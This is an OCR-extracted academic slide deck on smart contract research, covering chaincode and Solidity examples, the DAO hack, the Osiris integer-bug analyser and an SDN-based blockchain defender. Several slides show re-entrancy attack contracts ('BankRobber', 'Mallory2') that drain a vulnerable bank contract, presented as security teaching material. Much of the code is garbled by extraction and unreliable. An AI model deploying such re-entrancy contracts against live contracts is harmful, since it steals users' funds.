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Research at SEDAN@SNT on Smart Contracts

* Can we model complex financial processes with smart. . T —
contracts ? :EAR@ m"RIN\ENT§
* How can we analyze deployed smart contracts ? # géﬁﬁgséw ,%EX,

* AML usage
e Eco-environment insights ?
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e Can we secure deployed smart contracts
* Without changing the consensus algorithm



Overview

* Smart contracts and blockchain 101
* Programming frameworks and deployment

* Security
* Network level protection with SDN
» Software level defense against vulnerabilities

* Different viewpoints for looking at smart contracts

* Graph modeling
* Language modeling



Nick Szabo’s definition from 1994

« “A smart contract is a computerized transaction protocol that
executes the terms of a contract.

* The general objectives are to satisfy common contractual conditions
(such as payment terms, liens, confidentiality, and even enforcement),
minimize exceptions both malicious and accidental, and minimize the

need for trusted intermediaries.

* Related economic goals include lowering fraud loss, arbitrations and
enforcement costs, and other transaction costs”



What is consensus and why do we need blockchain(s)?

e State Machine and transactions

* Trust by distributed and
decentralized computing

* Consensus should deal with i o permissioned
on Permissione
e Failures e .

e Censorship e




Encoding state on the blockchain

* the stateless UTXO model,
account balances are encoded
into past transaction records

e account model, where account
balances are kept in state = 0 @ e
storage space on the ledger.

of ~ACME 100€ 12¢ of ~ACME 4,00€ t2¢



What do you need to write a smart contract ?

e A programming language in which to write your code (Go/Solidity)
* A compiler which translates a smart contract into bytecode

* A virtual machine that executes the smart contract

* A trusted infrastructure which executes the virtual machine



Writing a smart contract in Golang (HyperLedger)

* A simple program that receives three input numbers a, b, x and
updates with a=a-x and b=b+x

 Example: If a=10, b=7, x=4 then after the execution we get: a=6, b=11
* In Python this looks like:

1. a=input('Enter first number: ')

2. b =input('Enter second number: ')
3. x=input('Enter third number:"’)

4. new_a=a-X

5. new_b=b+x

6.

print('The status of {0} and {1} is {4} and {5} .format(a, b, new_a,new_b))



func (t *SimpleChaincode) Init(stub shim.ChaincodeStubInterface, function string, args [lstring) ([]lbyte, error) {
fmt.Printf("Init called, initializing chaincode")

var A, B string // Entities
var Aval, Bval int // Asset holdings
var err error

if len(args) !'= 4 {
return nil, errors.New("Incorrect number of arguments. Expecting 4")

// Initialize the chaincode
A = args[o]
Aval, err = strconv.Atoi(args[1])
if err !'= nil {
return nil, errors.New("Expecting integer value for asset holding")

}
B = args[2]
Bval, err = strconv.Atoi(args[3])
if err = nil {
return nil, errors.New("Expecting integer value for asset holding")

}
fmt.Printf("Aval = %d, Bval = %d\n", Aval, Bval)

1.  a=input('Enter first number: ')

// Write the state to the ledger . ' :
2. b =input('Enter second number: ')



Initializing the chain.....

59

err = stub.PutState(A,
if err = nil {
return nil, err

err = stub.PutState(B,
if err '= nil {
return nil, err

return nil, nil

[1byte(strconv.Itoa(Aval)))

Writing data to the blockchain

[1byte(strconv.Itoa(Bval)))




Doing two arithmetic operations...

// Transaction makes payment of X units from A to B

func (t *SimpleChaincode) invoke(stub shim.ChaincodeStubInterface, args [lstring) ([lbyte, error) {

fmt.Printf("Running invoke")

var A, B string // Entities

var Aval, Bval int // Asset holdings
var X int // Transaction value
var err error

if len(args) !'= 3 {
return nil, errors.New("Incorrect number of arguments. Expecting 3")

}
A = args[0]
B = args[1]

// Get the state from the ledger
// TODO: will be nice to have a GetAllState call to 1
Avalbytes, err := stub.GetState(A)
if err !'= nil {

return nil, errors.New("Failed to get state")
}
if Avalbytes == nil {

return nil, errors.New("Entity not found")
}
Aval, _ = strconv.Atoi(string(Avalbytes))

Bvalbytes, err := stub.GetState(B)

Reading data from the blockchain




Doing two arithmetic operations...

if err I=nil {
return nil, errors.New("Failed to get state")

}
if Bvalbytes == nil {
return nil, errors.New("Entity not found")

}
Bval, _ = strconv.Atoi(string(Bvalbytes))

// Perform the execution
X, err = strconv.Atoi(args[2])
Aval = Aval - X new a=a-X

Bval Bval + X b—b.|.
fmt.Printf("Aval = %d, Bval = %d\n", Aval, Bval) New_D=D+X

// Write the state back to the ledger
err = stub.PutState(A, [lbyte(strconv.Itoa(Aval)))
if err = nil {

return nil, err print('The status of {0} and {1} is {4} and {5} '.format(a, b, new_a,new_b))

err = stub.PutState(B, [lbyte(strconv.Itoa(Bval)))
if err !'= nil {
return nil, err

return nil, nil




Calling a function ....

func (t xSimpleChaincode) Query(stub shim.ChaincodeStubInterface, function string, args [lstring) ([lbyte, error) {
fmt.Printf("Query called, determining function")

if function != "query" {
fmt.Printf("Function is query")
return nil, errors.New("Invalid query function name. Expecting \"query\"")
}
var A string // Entities
var err error

if len(args) !'= 1 {
return nil, errors.New("Incorrect number of arguments. Expecting name of the person to query")

A = args[0]

// Get the state from the ledger

Avalbytes, err := stub.GetState(A)

if err !=nil {
jsonResp := "{\"Error\":\"Failed to get state for " + A + "\"}"
return nil, errors.New(jsonResp)

if Avalbvtes == nil {



And starting the chain ....

func main() {
err := shim.Start(new(SimpleChaincode))
if err !'= nil {
fmt.Printf("Error starting Simple chaincode: %s", err)

Additional code not shown but complete example can be found at
https://github.com/IBM-
Blockchain/example02/blob/v2.0/chaincode/chaincode_example02.go



And code in Solidity (Ethereum)

pragma solidity 20.4.18;
contract addition {

address creator;
uint a;
uint b;
uint c;

function addition() public
{
creator = msg.sender;
// msg is a global variable
uint c = uint a + uint b;

}

function addition() constant returns (uint)

{

return uint c;

}

/**********

Standard kill() function to recover funds
**********/

function kill()
{
if (msg.sender == creator)
suicide(creator); // kills this contract and sends
remaining funds back to creator

}



Real Security Threats to Blockchain systems

* Understand the real attacker motivations which are not necessary
inspired from IEEE S&P papers ©

* Why should we run complex BGP hijacking, timing attacks against the
block transmission protocol with only some mining fee as a reward ?

* One single documented BitCoin attack using BGP leading to 80000 USD loss
(2014)

e Attackers want money, fast and with minimum investment.....

* So, let’s see how to steal real money from the blockchain !!



Why software attacks are a better ROl then BGP
hijacking ?

 What happened?

Crowdfunding smart contract on Ethereum

Raised over $150m from 11,000 users (15th
May 2016)

Attacker drained S60m to a “child DAO”
exploiting a “re-entrancy” bug and a “call to
the unknown” (18th June 2016)

 What were the consequences?

Price of Ether dropped from over $20 to
under $13

First a soft-fork, then a hard-fork, which finally
led to a split:

What do you need to run an
attack ?

A computer Internet and
basic programming skills.... !



Smart contract calling another contract

o pragma solidity "0.4.18;
pragma solidity 70.4.15;

import "./Bank.sol";

contract Bank {
contract BankRobber {

mapping (address => uint) public balances; Bank public bank;

function Bank() payable { function BankRobber (address _bank) {
deposit(); bank = Bank(_bank);

} }

function kill () {

function deposit() payable { selfdestruct(msg.sender) ;

balances[msg.sender] += msg.value; }

}

function collect() payable {
function_withdraw() { bank.deposit.value(msg.value) () ;

if [ !msg.sender.call.value(balances[msg.sender]) ()) ) BB WL rav ()3
revert();
} function () payable {
balances[msg.sender] = 0; if (bank.balance >= msg.value) {
} bank.withdraw() ;
i
i }

}



How to deposit 75 ether and withdraw 150 !!

owner(hacker) - - - -
|

| oo | |

eposit() |

1

+75
addToBalance()
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[successful response]

.

|
|
|
|
|
|
|
|
|
|
I
|
|
l

I
|
I
I
I
I
I
I
I
|
|
I
I
——

[
o |
| [ |
| | |
| withdraw() | 78 |
withdrawBalance()
FALLBACK() 75
» withdrawBalance()
is_attack=false; FALLBACK()
+75
| [successful response] ~ [successful response]
+75 [successful response]
+150 [successful response]
[successful response]

X X X X X X



The same but now with fewer calls...

contract SimpleDAO { 7 function withdraw(uint amount) {
mapping (address => uint) public credit; : if (credit[msg.sender]>= amount) {
function donate(address to){credit[to] += msg.value;} - msg.sender.call.value (amount) () ;
function queryCredit(address to) returns (uint){ 10 credit [msg.sender] -=amount;
return credit[to]; 1 33
}
+ contract Mallory2 { 1 function() {
2 SimpleDAO public dao = SimpleDAO(Ox818EA...); 2 if (performAttack) {
3 address owner; bool performAttack = true; 3 performAttack = false;
4 4 dao.withdraw(1l);
function Mallory2(){ owner = msg.sender; } s 1}
r 6
function attack() { 7 function getJackpot (){
8 dao.donate.value(1) (this); 8 dao.withdraw(dao.balance);
9 dao.withdraw(1l); 9 owner.send(this.balance);

10 } 10 }}



|ICO 101

(S, WANT To TeaDE?) ’é&;*s'“'#“'éﬁ- - Standards: ERC20, ERC721
EXPENSIVE.

)
g Types: Securities token, Utility tokens

Best Practice Documents

EVIELRLSTTAJIENG' W
Implemented over Ethereum —mostly

Ctrl-C Ctrl-V coding

Provide liquidity where is needed
without to much regulatory overhead

*1€0s: Avoid The Lemons CALLME GWEI



How much money is there for an attacker ?

Quarterly ICO Round Counts & “We are suspending the deposits of all ERC-20 tokens due to the discovery of a
Do"ar Amounts For 201 7 new smart contract bug - ‘BatchOverFlow’. By exploiting the bug, attackers can
generate an extremely large amount of tokens, and deposit them into a normal
* address. This makes many of the ERC-20 tokens vulnerable to price

manipulations of the attackers.”

“To protect public interest, we have decided to suspend the deposits of all ERC-20 tokens until
the bug is fixed. Also, we have contacted the affected token teams to conduct investigation and
take necessary measures to prevent the attack,” the exchange operator added.

Changelly, a cryptocurrency trading service that acts as a broker between users and exchanges,
has also suspended trading in response to the exploit.

address|] _receivers,
ivers. length;
uint256(cnt) + _value;
cnt 20);
balances[msg.sender] amount);

crunchbase news

der] balances [msg.sender].sub(amount);

i < cnt; i++) {
ceivers[i]] balances|[_receivers[i]].add(_value);
was raised through ICOs in 2017, around the same sender, _receivers[i], _value);

amount reported by the Wall Street Journal in mid-
December of last year.

The end of year result? An estimated $4.9 billion



https://www.wsj.com/articles/initial-coin-offerings-surge-past-4-billionand-regulators-are-worried-1513235196

What is the current status

State of the ICO ® fesitive

Research findings by Positive.com based on project audits FY 2017 www.positive.com
1-in-3 ICOs 1-in-4 of ICO projects
have flaws enabling attacks have flaws enabling attacks
against organizers against investors

=

On average,

4 7 O/ are medium there are distinct vulnerabilities
0 to high severity per ICO
Half of audits reveal 1 of ICO flaws
vulnerabilities 3 are related
in web applications to web applications

100% 0 mebtespphcatons s vebnarshie

{if mabile everything is the future, we're in for some dark times ahead)

-as of June 25th?

banking industry ICO
A I I and blockchain security audits
performed by PT last year turmed

up critical flaws (the problem
is worse than anyone suspects)

of ICO projects

7 1 0/0 contain vulnerabilities

in smart contracts

Mobile apps contain

2 5 more vulnerabilities than their
ew? X web app counterparts

of all ICO funds raised last year were stolen —
a terrible start for what should be a golden
time for the entity going public

Cost: $300 million

Total investments in ICOs:

>$5 billion v




OSIRIS

e Takes solidity code or EVM bytecode as input
 Uses Oyente to construct control flow graph (CFG)

 Symbolically executes every instruction in the CFG, following a depth first search
manner

 Constructs constraints for every arithmetic instruction (taking current path
constraints into account)

e Evaluates constraints using Z3
* Reports a bug if constraints are satisfiable

e Uses taint analysis to reduce number of false positives
 Lead developer, Christof Torres (SEDAN@SNT)
 Joint work with Fraunhofer

 Funding provided by BCEE (Luxembourg)

it

BANQUE ET CAISSE DEPARGNE DE LETAT
LUXEMBOURG

11



DASP TOP 10 (dasp.co) .

 Decentralized Application Security Project

1. Reentrancy

 Aninitiative of NCC Group 2- Access Control

4. Unchecked Low Level

* Open and collaborative project ol
5. Denial of Services
* Similar to OWASP Top 10 but for 6. Bad Randomness
smart contracts R

8. Time Manipulation

* Arithmetic bugs are amongst the Top 3 9. Short Addresses

10. Unknown Unknowns



0x00000000 PUSH1 0x60
0x00000002 PUSH1 0x40
0x00000004 MSTORE
0x00000005 PUSH1 0x04
0x00000007 CALLDATASIZE
0x00000008 LT

0x00000009 PUSHI1 0x3f
0x0000000b JUMPI

OSIRIS

Not(If(ULE(, 1d_size), 0, 1) = 0)

If(ULE(4, Id_size).0, 1) =0

0x0000000c PUSH1 0x00

0x0000000e CALLDATALOAD

0x0000000f PUSH29 0x0100000000000000000000000000000000000000000000000000000000

0x0000002d SWAP1
0x0000002e DIV
0x0000002f PUSH4 Ox ffffff
0x00000034 AND
0x00000035 DUP1

0x00000036 PUSH4 0x517550bf

0x0000003b EQ
0x0000003¢ PUSH1 0x44
0x0000003e JUMPI

0x0000003f JUMPDEST
0x00000040 PUSH1 0x00
0x00000042 DUP1
0x00000043 REVERT

0x00000044 JUMPDEST
0x00000045 CALLVALUE
0x00000046 ISZERO
0x00000047 PUSHI Ox4e
0x00000049 JUMPI

Not(If(Extract(255,224,1d_1) == 1366642879, 1,0) != 0) | If(Extract(255,224, Id_1) == 1366642879, 1.0)

| pragma solidity

"9.4.21;

Bytecode/Solidity

Symbolic
Analysis

Taint Analysis

Integer Error
Detection

» contract Test {

If(Iv ==0,1,0) != 0 \ Not(If(Iv == 0.1, 0) != 0)

0x0000004e JUMPDEST
0x0000004f PUSH1 0x62
0x00000051 PUSHI 0x04
0x00000053 DUP1
0x00000054 DUPI1
0x00000055 CALLDATALOAD
0x00000056 SWAP1L
0x00000057 PUSHI 0x20
0x00000059 ADD
0x0000005a SWAP1
0x0000005b SWAP2
0x0000005¢ SWAP1
0x0000005d POP
0x0000005¢ POP
0x0000005f PUSH1 0x78
0x00000061 JUMP

0x0000004¢
0x0000004d

0x00000062 JUMPDEST
0x00000063 PUSH1 0x40
0x00000065 MLOAD
0x00000066 DUP1
0x00000067 DUP3
0x00000068 DUP2
0x00000069 MSTORE
0x0000006a PUSH1 0x20
0x0000006¢c ADD
0x0000006d SWAP2
0x0000006e POP
0x0000006f POP
0x00000070 PUSH1 0x40
0x00000072 MLOAD
0x00000073 DUP1
0x00000074 SWAP2
0x00000075 SUB
0x00000076 SWAP1L
0x00000077 RETURN

0x0000004a PUSH1 0x00
P

uint) {
return value + 1;

function overflow(uint value) public pure returns (

iris python osiris/osiris.py -s tests/AdditionSubtraction.sol

.000000. 080

dsP' “Y8b T

888 888 .0000.0 0000 0000 d8b 0000  .0000.0
888 888 d88( "8 "888 °888""8P "888 d88( "8
888 888 ""Y88b. 8838 888 888 “"Y88b.

*88b d88' o. )88b 888 888 888 o. )88b
"Y8bood8P' 8""888P' 08880 d888b 08880 8""888P"

INFO:root:Contract tests/AdditionSubtraction.sol
INFO:symExec:Running, please wait...
INFO:SymEXeC: —======—==—— ResSUltS ========——
INFO:symExec: EW code coverage: 99.6%
INFO:symExec: Arithmetic bugs True
INFO:symExec: > Overflow bugs: True
tests/AdditionSubtraction.sol:C:13:9
unsignedBalanceOf[_to] += _value

A

INFO:symExec: > Underflow bugs:
tests/AdditionSubtraction.sol
unsignedBalanceOf[msg.sender]

A

INFO: symExec: > Division bugs: False
INFO:symExec: > Modulo bugs: False
INFO:symExec: > Truncation bugs: False
INFO:symExec: > Signedness bugs: False
INFO:symExec: Callstack bug: False
INFO:symExec: Concurrency bug: False
INFQ:symExec: Time dependency bug: False
INFQ:symExec: Reentrancy bug: False
INFO:symExec: --- 1.36308193207 seconds

INFO:symExec: Analysis Completed

Z3 Bit-Vector Solver




DETECTING KNOWN VULNERABILITIES

e Osiris successfully detects all the vulnerabilities listed below

Token Bug Name CVE Number Disclosed

BEC [5] batchOverflow | CVE-2018-10299 | 22 April 2018
SMT [9] | proxyOverflow | CVE-2018-10376 | 25 April 2018
UET [11] transferFlaw | CVE-2018-10468 | 28 April 2018
SCA [10] | multiOverflow | CVE-2018-10706 | 10 May 2018
HXG [8] | burnOverflow | CVE-2018-11239 | 18 May 2018

Table 4: CVEs examined by OsIRis.

* Interesting vulnerability allowing you to create many tokens for t he ICO



ANALYSING TOP TOKENS

* We downloaded 495 top token smart contracts as per market capital on
Etherscan.io

e Qesiris discovered an unknown vulnerability in a couple of them

17



Responsible disclosure .....

III

In “traditiona
security disclosure
you know whom to
contact and inform
about the
vulnerability

Blockchain protects
the anonymity....so
whom to contact ?

ﬂ'l P Etherscan o s ey s i

HOME BLOCKCHAIN v TOKEN v MISC v
- Contract 0xH B LU R R E D to N rote Ct |t Home / Accounts / Address
Contract Overview gﬁ Misc More Options
Balance: 0 Ether Contract Creator: 0xe9131d546bba6e... at txn 0x81ecc5804ea950f...
Transactions: 2 txns
Token Contract: H
BLURRED to protect it
Transactions Code Read Contract Write Contract ¢ Events
I Latest 2 txns 5
TxHash Block Age From To Value
0x2ad1df77920a57... 3416447 17 days 16 hrs ago 0x7e2a886f1ba5942... “ [3 0xb1c39¢813a329f... 0 Ether 0.00244278
0x81ecc5804ea950f... 3416392 17 days 16 hrs ago 0xe9131d546bbate... m 7= Contract Creation 0 Ether 0.001695391

[ Download CSV Export &.]



ANALYSING THE WRHOLE BLOCKCHAIN

* We analyzed 1.2 million contracts, from August 7, 2015 to January 30, 2018

42,108 contracts are vulnerable to integer bugs

* Osiris takes 75 seconds to analyze a contract, with a median of 13 seconds and
a mode of 1 second

e Osiris achieves a code coverage of 88% on average

18
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EGER BUGS

B All contracts Unique contracts
41379
14107
2738
- 1401 405 235
ARITHMETIC TRUNCATION SIGNEDNESS
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[ON OF ARITHMETIC BUGS

B All contracts Unique contracts
23473
11479
10520 10335
6103
1292 350
29
|
OVERFLOW UNDERFLOW MODULO DIVISION

20



Existing improvements to be released

* Integrate Osiris in Remix (Web GUI)

* Analyze more than 90.000 ERC-20 based token smart contracts

* Use concolic execution to directly verify bugs and automatically generate
exploits

22
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Protecting Smart Contracts — Blockchain Defende ®- telindus

Protect the network and service platform by taking into

account the consenus....

OpenDaylight
Flexible Software Defined Network component for the  wiine  we [ smsmsommmmmine |
and services
InfraChain project S h
Controller : extensions > L ] ODEN
platform =hss
OpenSource Code development o
interfaces & other standard vendor-specific
protocols OpenFlow protocols (ONF, IETF,..) interfaces
Support for multiple permissioned blockchains e plne . r .
switches, physical
device interfaces)

e Multichain, Hyperledger
No modification of blockchain nodes and no censoring

e Use blockchain nodes as they are



SDN network and components

........

Internet ! Internal
1 network

@ e telindus

M|

securityandtrust.lu

e

Blockchaln Defender

\

SDN- Controller
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Controller components ® - telindus

Internet ! Internal

' etwork Blockchain Defender

ﬂ’i

SDN-Controller




Controller components

e telindus

e

Blockchain Defender
Thread

Thread

List updates
Timeout
Peer information
Node information
[ ~1 B

W G

\H

\

_/

-

\_

Incoming packets

\

Configuration setup
Controller interaction

SDN-Controller




SIT

LI StS ‘. telindus securityandtrust.lu
New item Graylist
ip > [ )
port 1 2
protocol
duration
New
\_ Y,
Authorized / \ Unauthorized
connhection connection
Whitelist Blacklist
b | ( ) ( ) No new
tﬁer etavesk 3 4 5 connection
e networ attempt

/ New \
. / g J




System Setup

Connecting Node

-

-

Docker

@/

Container 1 Container 2

Controller with
Blockchain Defender

**e(Peer N
Node

e telindus

Blockchain

M|

securityandtrust.lu



Authorized User ® - telindus m

securityandtrust.lu

Controller with
Blockchain Defender

authorized
node's . Node appears

lp address in in list of peers
and Port

Authorized Blockchain

Node .° Node

e 1 T I =0
s 1. Initiate 7
connection

Ay
/

2. Accept
connection



Authorized User ® - telindus m

securityandtrust.lu

Controller with
Blockchain Defender

Whitelist
contains
authorized

node ?ﬁa
Peer 3
Authorized ., Blockchain
e|Peer N
Node Node

= B8 - S8

Forward FROM TO

Exchange blockchain information
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Unauthorized User ® - telindus

Controller with
Blockchain Defender

3. Blacklist =

node
4. Install er3
flow entry:

Unauthorized Block m— Blockchain
Node Node
I 1 1 B =

1. Initiate -
connection
2. Reject
connection

attempt



